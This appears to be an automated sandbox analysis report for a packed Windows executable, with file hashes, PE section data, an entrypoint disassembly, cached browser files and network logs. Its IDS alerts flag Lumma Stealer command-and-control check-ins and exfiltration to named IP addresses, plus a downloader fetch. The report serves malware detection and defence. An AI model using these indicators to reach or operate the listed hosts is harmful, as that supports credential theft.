SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947863603070441
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'875'968 bytes
MD5:	91ed86397a1d20fc8c1057985c13abc5
SHA1:	31402c55aa6e6295383e405d9d12ff4bc84e980a
SHA256:	c1b9a83f47c5b38c215aff0cce585477e084a5af8630726d960f699971a3852e
SHA512:	4a3f739f61910575923801477a45373286612c131e1277c21b658fe8f227641f2f97bb323481f3a8f9f2c1508ed5dfce309d304f05b6d314eb3f5fa83d25fd1d
SSDEEP:	49152:2i5/+uqU0bRWKhQEtMZlB2/+pBCHtUhz9J:2ikUUHu4/+/CA7
TLSH:	5395337E4BE636B6EF4D857DA91347102061C33912DD4DB222F486A56833ABE8E84D4F
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................J...........@...........................J.....o.....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a8000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F3C51 [Thu Nov 21 13:57:37 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD4A8503EBAh
movd dword ptr [eax+eax], mm3
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD4A8505EB5h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5805c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x581f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x56000	0x26200	c1de55b01ce4408ecb5228b43024f296	False	0.9992635758196722	data	7.980070828923242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x2b0	0x200	2c3a413a9bdd75d78b2267b8079f07b8	False	0.794921875	data	6.062575489171242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x58000	0x1000	0x200	c92ced077364b300efd06b14c70a61dc	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x59000	0x2ad000	0x200	a48e04a9625c845e21c9816395669dce	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ftyqifrr	0x306000	0x1a1000	0x1a0200	766304c2ab71fc3c330633850a94d928	False	0.9949156559777711	data	7.954385135104011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lzesihhj	0x4a7000	0x1000	0x400	32607105ac06a711ae7098dd7bea2921	False	0.759765625	data	6.044899435336388	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a8000	0x3000	0x2200	c2ab8be65f53576a67431079d8fa81cf	False	0.07272518382352941	DOS executable (COM)	0.8372302990961384	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a5f64	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T12:06:58.661160+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	172.67.155.47	443	TCP
2024-11-25T12:07:00.605709+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	172.67.155.47	443	TCP
2024-11-25T12:07:00.605709+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	172.67.155.47	443	TCP
2024-11-25T12:07:02.034346+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	172.67.155.47	443	TCP
2024-11-25T12:07:02.735249+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	172.67.155.47	443	TCP
2024-11-25T12:07:02.735249+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.155.47	443	TCP
2024-11-25T12:07:04.405190+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	172.67.155.47	443	TCP
2024-11-25T12:07:06.511028+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	172.67.155.47	443	TCP
2024-11-25T12:07:07.404358+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49707	172.67.155.47	443	TCP
2024-11-25T12:07:08.928734+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	172.67.155.47	443	TCP
2024-11-25T12:07:11.643331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	172.67.155.47	443	TCP
2024-11-25T12:07:14.478907+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	172.67.155.47	443	TCP
2024-11-25T12:07:20.108465+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49716	172.67.155.47	443	TCP
2024-11-25T12:07:21.103688+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49716	172.67.155.47	443	TCP
2024-11-25T12:07:22.622802+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49723	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 12:06:53.955564022 CET	49675	443	192.168.2.5	23.1.237.91
Nov 25, 2024 12:06:53.957125902 CET	49674	443	192.168.2.5	23.1.237.91
Nov 25, 2024 12:06:54.064904928 CET	49673	443	192.168.2.5	23.1.237.91
Nov 25, 2024 12:06:57.388667107 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:06:57.388766050 CET	443	49704	172.67.155.47	192.168.2.5
Nov 25, 2024 12:06:57.389014959 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:06:57.400230885 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:06:57.400269032 CET	443	49704	172.67.155.47	192.168.2.5
Nov 25, 2024 12:06:58.661046982 CET	443	49704	172.67.155.47	192.168.2.5
Nov 25, 2024 12:06:58.661159992 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:06:58.665086031 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:06:58.665092945 CET	443	49704	172.67.155.47	192.168.2.5
Nov 25, 2024 12:06:58.665302992 CET	443	49704	172.67.155.47	192.168.2.5
Nov 25, 2024 12:06:58.705549002 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:06:58.711338043 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:06:58.711349964 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:06:58.711409092 CET	443	49704	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:00.605515957 CET	443	49704	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:00.605600119 CET	443	49704	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:00.605659008 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:00.620908022 CET	49704	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:00.620949984 CET	443	49704	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:00.819941998 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:00.819992065 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:00.820055008 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:00.820821047 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:00.820837021 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.034159899 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.034346104 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.035490036 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.035504103 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.035712004 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.046502113 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.046601057 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.046629906 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.735234976 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.735296965 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.735343933 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.735349894 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.735384941 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.735428095 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.735438108 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.735445976 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.735491037 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.735500097 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.737425089 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.737468958 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.737477064 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.745856047 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.746020079 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.746028900 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.754281998 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.754347086 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.754355907 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.799329996 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.854835987 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.908776045 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.926542997 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.930155039 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.930207968 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.930226088 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.930239916 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.930303097 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.930385113 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.930399895 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:02.930423975 CET	49705	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:02.930428982 CET	443	49705	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:03.100162029 CET	49706	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:03.100199938 CET	443	49706	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:03.100260973 CET	49706	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:03.101042032 CET	49706	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:03.101056099 CET	443	49706	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:03.564914942 CET	49674	443	192.168.2.5	23.1.237.91
Nov 25, 2024 12:07:03.568211079 CET	49675	443	192.168.2.5	23.1.237.91
Nov 25, 2024 12:07:03.674273968 CET	49673	443	192.168.2.5	23.1.237.91
Nov 25, 2024 12:07:04.404936075 CET	443	49706	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:04.405189991 CET	49706	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:04.406469107 CET	49706	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:04.406496048 CET	443	49706	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:04.406709909 CET	443	49706	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:04.407954931 CET	49706	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:04.408143997 CET	49706	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:04.408186913 CET	443	49706	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:05.196696997 CET	443	49706	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:05.196780920 CET	443	49706	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:05.196846008 CET	49706	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:05.197545052 CET	49706	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:05.197561026 CET	443	49706	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:05.298834085 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:05.298877954 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:05.298950911 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:05.299335003 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:05.299346924 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:06.109983921 CET	443	49703	23.1.237.91	192.168.2.5
Nov 25, 2024 12:07:06.110091925 CET	49703	443	192.168.2.5	23.1.237.91
Nov 25, 2024 12:07:06.510957956 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:06.511028051 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:06.514856100 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:06.514868021 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:06.515111923 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:06.517410994 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:06.517597914 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:06.517638922 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:06.517687082 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:06.517693996 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:07.404171944 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:07.404257059 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:07.404443979 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:07.404665947 CET	49707	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:07.404689074 CET	443	49707	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:07.615806103 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:07.615891933 CET	443	49708	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:07.616012096 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:07.624418974 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:07.624448061 CET	443	49708	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:08.928581953 CET	443	49708	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:08.928734064 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:09.084805965 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:09.084841967 CET	443	49708	172.67.155.47	192.168.2.5
